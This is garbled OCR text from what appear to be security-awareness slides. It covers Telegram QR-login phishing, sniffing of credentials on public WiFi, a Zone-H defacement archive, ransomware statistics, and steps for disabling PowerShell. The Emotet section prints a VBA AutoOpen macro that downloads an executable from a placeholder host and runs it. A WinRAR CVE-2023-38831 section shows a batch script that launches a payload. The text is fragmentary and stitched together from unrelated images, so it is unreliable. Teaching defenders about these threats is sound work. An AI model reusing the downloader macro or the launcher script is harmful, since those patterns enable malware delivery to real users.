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Sign in to Telegram

Please confirm your country and
enter your phone number.

+66 0 8108 /

Thailand b We have sent you a message in Telegram

Phone Number W|th the COde
[+66 = i J ‘I

Keep me signed in

Code

NEXT

LOG IN BY QR CODE
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Log in to Telegram by QR Code

1. Open Telegram on your phone
2. Go to Settings > Devices > Link Desktop Device

3. Point your phone at this screen to confirm login

% Moy

tg://login?token=Al
-4hoLFd1ulQPB8A|

Do lwusiwas

ARADAN




| www.HighTechCrime.org



Y ¢ Y
HINUAI @ﬁﬂ!!ﬁﬂ!ﬂ@ﬁﬁ%ﬂ‘ﬂiﬂﬂ

MinickSecurity.com






dUAIINVINNIT Y Public WiFi

Packets: 27565 |
URL: (null)

e S 2 R 2 2 A A & & & & & & J

MYTP Authorization inter
74.125. l35.84:80<>19 58

Host: accounts.goa ;—r
Referer : http:ll ccoun

.- (‘-‘-'r-“

Servi
'Illaﬂ

-"I

J

-



B haveibeenpwned.com

[';——have i been pwned?j

Check if you hawve an account that has been compromised in a data breach

pwned? ]

@ Generate secure, unigue passwords for every account Leasn more at 1Password.com
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Zone-H.org/archive

y & zone-h.org/archive @ ®= 9 a8 9 v

Home MNews Events Archive Archive & Onhold Notify Stats Register search.

NE}"I—_[FIER| | 1.2 |

Special defacements only ] Fulltext/wildcard Onhold (Unpublished)} only ]

Date : | ALL ~ || Apply filter |

Total notifications: 532,849 of which 16,807 single ip and 37,042 mass defacements

Legend:

H - Homepage defacemsent

M - Mass defacement (click to view all defacements of this IP)

F. - Redefacement {click to view all defacements of this site]

L - IF address location

I - Special defacement {special defacements are important websites)

Date Motifier H MRL 73r Domain oS View
2022/01/25 MERm19 Fo e e 1l Lirmux mirror
2022/01/25 Ox1983 ™ — | thgalau.htmil Lim= mirror
AnonCodears Linited
2022/01/24 Kingdom of Great Britain M R — gl 12.go.th/readme.htm i mirror
and Morthern Ireland
LnonCoders Linited
2022,/01/24 Kingdom of Great Britain F el i.go.th/readme._htm Lirws rirror
and Maorthern Ireland
2022,/01/23 WOSF DOSKY H R — i rirror
2022,/01,/22 SJG1LANG_ST86 R — gl hp Unknown mirror
2022701722 SG1LAMGE_STa6 Fo el p Lirux mirror
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Ransomware Cyber Extortion

Ransomware Is Evolving g

= Looks like spam _i_‘,_

= Shotgun approach

ool = No Intrusion required
e = Low value returmn
T = Looks like spear phishing e
= Sniper approach
= |Infrusion Required
= High value return e
| O,
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Alert (TA 18"‘201A) EmOtet Malware release date: July 20, 2018

2)

S @O \‘

Sub AutoOpen()

Dim xHttp: Set xHitp = CreateObject("Microsoft, XMLHTTP™)

-

Dim bStrm: Set bStrm = CreateObject("Adodb.Stream™)
XHttp. Open "GET", "http.//<IP>/<FILE>", False
xHttp Send

With bStrm
Type = 1 '//binary
.Open
write xHttp, responseBody
savetcfile “file. exe”, 2 ‘//overwrite
End With

Shell (“file exe™)

End Sub /

Invoice or shipment

\\\
\

Malicious macros
download Emotet
malware

»

themed spam email

with malicious
‘\attx

N

Users open document

hments or links with malicious macros

»”

- N

injects code into explorer.exe and other running P8
processes. It can also collect sensitive information,
including system name, location, and operating - +
system version, and connects to a remote nstructions
command and contrnl server (C2) 5

- O J

F\ﬁ'mntly, Emotet uses five known spreacler mociules: NetPass.exe, WebBrowserPassView, Mall PassView, Outlook scraper, and a credential

enumerator.

\

1. NetPass.exe is # lagitimate utility developed by NirScft that recovers all network passwords stored on a system for the current logged-on usar. This tool can alsc recover

passwords stored in the credentials file of external drives.

2.0utlcok scrapar is a tocl that scrapes names and amail addrassas from the victim’s Outlook accounts and uses that information to sand cut additional phishing amalls from

the compromised accounts.

3.WebBrowserPassView is a password recovery tool that captures passwords stored by Internet Explorer, Mozilla Firefox, Google Chrome, Safari, and Opera and passes

them to the cradential enumerator module.

inail_ Pa_s;tv.iew isa gags\foord recovery t_ool t__hat l:eveals pqssword;_ and account details for various 9mail clients such as Microsoft Cutlook. Windows Mail. Mozilla



Infection chain involving the file extension spoofing
exploit (CVE-2023-38831)

1 Opens ZIP archive in WinRAR

WinRAR.exe Victim

2 Clicks on the image file

Weaponized
ZIP archive

= ' ro———— 3 Instead of the image file opening,
{8 View - Trading_Strategies_2023.pdf .cmd | (=]l o _® R TGy o s .
mrrr— the malicious script will be launched
;____7 usihg the file extension SfDOOﬁﬁg
lif not DEFINED IS_MINIMIZED set IS_MINIMIZED=1 & start ™" /min "%~dpnx0" %* && exit vulnerability
lcd %TEMP% ‘
ifor /F "delims=" %%K in ('dir /b /s "Trading_Strategies_2023.pdf"") do for /F "delims=" %%¢G in ('dir /b /s "Images.com"")
|do WMIC process call create "%%~G"&&"%%~K"&&exit
exit . N B FMrfMTTfMTtTUT
<5 ;
a The script launch
an SFX archive
éSS bytes Windows text BAT SCI’i pt

SFX



Unreported Ransom Attacks Key Trends

Reported 2023 B Unreported 2023
400

1,185% Unreported
1,185% Attacks Unreported
200 2nd Highest
l Apr in 4 years
Jan Feb Mar Apr May

. +8% | Over 2022

Juny Jul Aug Sap Ot MNow Dac
Reported Ransomware by Month D 76% of all attacks
2020 2021 B 2022 B co23 use PowerShEII
50
<= .. . 89% of attacks
. \_5¥ ) exfiltrate data
G
25
Average payout
125 $ | uss$327.883k
from Q4/22
? Jan Feb Mar Apr May Juny Jul Aug Sap Ot MNow Dac
Copyright © 2023 BlackFog, Inc. Key statistics compiled and collected by BlackFog from various sources including BlackFog Enterpriss. May onby be used with atiribution link to blackfog.com



1158NSUND Ransomware

9150910 HadINDY
Saea Anti-Virus tazllsunsumnis uililumsld e
Yanislganuldsunsy PowerShell 1159

Y
W A

aunandlWamesalaldsunsy Unlocker o133

system32\WindowsPowerShell\
syswow64\WindowsPowerShell\



cdn.1iobit.com/dl/unlocker-setup.exe

|Obit Unlocker — [ >

™ I0bit Unlocker vi. Mare +
This tool will help you unlock the filesffolders occupied by other processes.

Files /Folders selected

Files /Folders Status
WindowsPowerShell Mot locked
. Add
Forced Mode e Unlock - <~ Add

Unlock & Delete
WindowsPowerShell not locked.
indowsPowerShell not lo Unlock & Rename
Name Path Unlock & Move Fid

Unlock & Copy




EER FPrograms

« v o Ei » Control Panel » Programs (1 )
Control P I H 2
anErel mans mame ~= Programs and Features ( )
["1 Uninstall a program Y Turn Windows features on or off View installed updates

Systerm and Security

FRun programs made for previous versions of Windows How to install a program
MNetwork and Internet

Hardware and Sound éﬁ Default F"rr::ugrams
Change default settings for media or devices

* Programs

User Accounts Windows Features — 1 >
Appearance and
Personalization Turn Windows features on or off T

Clock and Reqgi ) )
Gk an =gten To turn a feature on, select its check box. To turn a feature off, clear its

Ease of Access check box. A filled box means that only part of the feature is turned on.

Telnet Client e
TFTP Client

Virtual Machine Platform

Windows Hypervisor Platform

Windows |dentity Foundation 3.5 (3)

Windows PowerShell 2.0 «caiijj

Windows Process Activation Service

Windows Projected File System

Windows Sandbox

Windows Subsystermn for Linux

Windows TIFF IFilter

Woinrk Folders Client ht

@jDDDD

#

JOOEO0

S Cancel
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